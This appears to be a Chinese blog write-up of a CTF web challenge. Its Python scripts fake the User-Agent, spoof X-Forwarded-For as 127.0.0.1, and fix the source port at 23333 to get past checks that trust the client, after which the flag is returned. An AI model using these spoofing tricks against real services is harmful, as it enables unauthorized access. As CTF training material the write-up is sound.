一道CTF题目,请求后页面如下:
这里根据提示需要我们使用ctf-Web-Broswer,这个很明显是更改User-Agent的一个套路
python简单写下
import requests url='http://1.1.20.100:8001/' headers={ "User-Agent":"ctf-Web-Broswer", } res=requests.get(url,headers=headers) print(res.text)
提示只提供本地客户端
这里使用X-Forwarded-For测试一下
import requests url='http://1.1.20.100:8001/' headers={ "User-Agent":"ctf-Web-Broswer", "X-Forwarded-For":"127.0.0.1", } res=requests.get(url,headers=headers) print(res.text)
提示只允许23333端口访问
这里遇到了问题,不知道在python里面如何设置请求http的本地端口
经过一番搜索找到了一个方法 参考链接:【python2】使用固定源端口发送http请求_http固定sourceport_dmc436的博客-CSDN博客
最终代码:
import requests from requests.adapters import HTTPAdapter from requests.adapters import DEFAULT_POOLBLOCK from urllib3 import PoolManager class SourcePortAdapter(HTTPAdapter): """Transport adapter" that allows us to set the source port.""" def __init__(self, port, *args, **kwargs): self.poolmanager = None self._source_port = port HTTPAdapter.__init__(self, *args, **kwargs) def init_poolmanager(self, connections, maxsize, block=DEFAULT_POOLBLOCK, **pool_kwargs): self.poolmanager = PoolManager( num_pools=connections, maxsize=maxsize, block=block, source_address=('', self._source_port)) url='http://1.1.20.100:8001/' headers={ "User-Agent":"ctf-Web-Broswer", "X-Forwarded-For":"127.0.0.1", } s = requests.Session() s.mount(url, SourcePortAdapter(23333)) res=s.get(url,headers=headers) print(res.text)
最后直接回显flag:
标签:Web,use,url,self,Broswer,headers,CTF,requests From: https://www.cnblogs.com/byzd/p/17705080.html